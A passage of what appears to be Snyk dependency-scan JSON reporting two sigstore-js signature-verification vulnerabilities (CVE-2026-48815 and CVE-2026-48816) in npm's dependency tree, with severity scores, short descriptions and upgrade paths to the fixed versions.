"https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { 